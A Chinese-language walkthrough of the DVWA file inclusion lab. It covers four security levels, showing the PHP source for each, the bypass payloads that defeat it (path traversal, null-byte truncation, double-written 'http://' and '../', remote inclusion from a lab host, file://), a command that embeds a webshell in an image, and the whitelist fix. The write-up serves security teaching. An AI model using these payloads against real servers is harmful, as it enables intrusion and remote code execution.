索引目錄:
Low
Medium
High
Impossible
檔案包含,主要由于php.ini配置不嚴格,allow_url_fopen=On是導緻檔案包含的元兇之一 和php函數運用的嚴謹程度
php檔案包含常用函數:
include: 包含并運作指定檔案,當包含外部檔案發生錯誤時,系統給出警告,但整個php檔案繼續執行
include_once: 這個函數跟和include語句類似,唯一差別是如果該檔案中已經被包含過,則不會再次包含
require: 跟include唯一不同的是,當産生錯誤時候,整個php檔案停止運作
require_once: require_once語句和require 語句完全相同,唯一差別是PHP會檢查該檔案是否已經被包含過,如果是則不會再次包含
php.ini配置檔案: allow_url_fopen=off 即不可以包含遠端檔案。php4存在遠端包含&本地包含,php5及以上僅存在本地包含
使用上面幾個函數包含檔案時,該檔案将作為PHP代碼執行,PHP核心并不在意被包含的檔案是什麼類型的。也就是說我們用這幾個函數包含.jpg檔案時,也會将其當做php檔案來執行
Low
源代碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
從Low級别的代碼我們可以看出,服務端對上傳的的page參數沒有任何過濾
注:伺服器包含檔案時,不管檔案字尾是否是php,都會嘗試當作php檔案執行,如果檔案内容确為php,則會正常執行并傳回結果;如果不是,則會原封不動地列印檔案内容,是以檔案包含漏洞常常會導緻任意檔案讀取與任意指令執行
漏洞利用:
1.本地包含:即包含本地檔案
條件:開啟allow_url_include
- 首先我們嘗試包含本地一個不存在的檔案
出現上圖所示報錯,從第一行警告我們可以看出它使用的是include函數,也直接爆出了含有include函數檔案的位置
從第二行我們可以看出沒有找到指定檔案
- 我們再嘗試包含一個存在的,在已經檔案路徑的前提下
- 我們也可以嘗試使用
來進行目錄穿越(../
表示傳回上一層目錄) 已知test.php的絕對路徑在../
我們目前在F:\xampp\htdocs\dvwa\vulnerabilities\filetest\test.php
下,由下圖檔案具體位置可以看出,一個http://127.0.0.1:8008/dvwa/vulnerabilities/fi/
就i傳回到了有filetest目錄的目錄../
注:配置檔案中的Magic_quote_gpc選項為off。在php版本小于5.3.4的伺服器中,當Magic_quote_gpc選項為off時,我們可以在檔案名中使用%00進行截斷,也就是說檔案名中%00後的内容不會被識别,即下面兩個url是完全等效的
這種情況多用于必須要檔案字尾是php,jpg,jpeg,png等,隻是為了上傳時表示存在,真正解析時直接截斷
http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini
http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini%00test.php
由于本次實驗時7.3.4版本,無法示範
2.遠端檔案包含,這裡我自己用虛拟機搭了另一個伺服器
條件:php.ini配置中,allow_url_fopen與allow_url_include為開啟狀态時,伺服器會允許包含遠端伺服器上的檔案
發現利用成功,如果此時這是一句話木馬,我們就可以用菜刀或者蟻劍進行連接配接,獲得webshell了
你還可以通過url編碼進行隐秘操作:
Medium
源代碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
Medium級别的代碼增加了str_replace函數,對page參數進行了處理,将
http:// 、https://、 ../、..\
替換為空字元,即删除
漏洞利用:
- 使用str_replace函數也不是絕對安全的,因為我們可以使用雙寫繞過替換規則
例如
page=htthttp://p://192.168.13.130/hello.php
時,str_replace函數隻會删除一個
http://
,于是
page=http://192.168.13.130/hello.php
,成功執行遠端指令
同時,因為替換的隻是
../
、
..\
,是以對采用絕對路徑(就是不使用…/)的方式包含檔案是不會受到任何限制的
1.本地檔案包含
但是我們如果非要用…/呢?那麼我們就可以雙寫繞過
例如使用
http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=..././filetest/test.php
,這樣str_replace隻删除了一個
../
但是
http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=../../filetest/test.php
卻不能執行,因為它直接檢測到了兩個
../
,是以利用雙寫繞過,不要單獨連起來,要嵌套起來
2.遠端檔案包含
- 雙寫繞過法
- 把
%68%74%74%70%3a%2f%2f192.168.13.130%2fhello.php
嘗試url編碼進行包含
經過編碼後的url不能繞過替換規則,因為解碼是在浏覽器端完成的,發送過去的page參數依然是
,是以讀取失敗page=http://192.168.13.130/hello.php
High
源代碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch(pattern,string,flags):根據指定的模式來比對檔案名或字元串
pattern 必需 規定要檢索的模式
string 必需 規定要檢查的字元串或檔案
flags 可選
High級别的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應的檔案。看似安全,但是我們依然可以利用file協定繞過防護政策。file協定其實我們并不陌生,當我們用浏覽器打開一個本地檔案時,用的就是file協定,file://F:/xampp/htdocs/dvwa/vulnerabilities/filetest/test.php,如下圖:
如果是php檔案,則不會解析而是顯示其php代碼,在html頁面或源代碼中
至于執行任意指令,需要配合檔案上傳漏洞利用。首先需要上傳一個内容為php的php檔案或jpg照片,然後再利用file協定去包含上傳檔案(需要知道上傳檔案的絕對路徑),進而實作任意指令執行,謹記,php的file://協定隻能打開本地檔案
圖檔插入一句話木馬(b為二進制,a為ascii碼)
copy xx.jpg/b +xx.php/a xxx.jpg,之後利用菜刀或蟻劍連接配接,連接配接時還需要先浏覽網站,登陸賬号,完成Session認證
Impossible
源代碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
Impossible級别代碼使用了白名單機制進行防護,page參數必須為
include.php
、
file1.php
、
file2.php
、
file3.php
之一,是以徹底消除了檔案包含漏洞的産生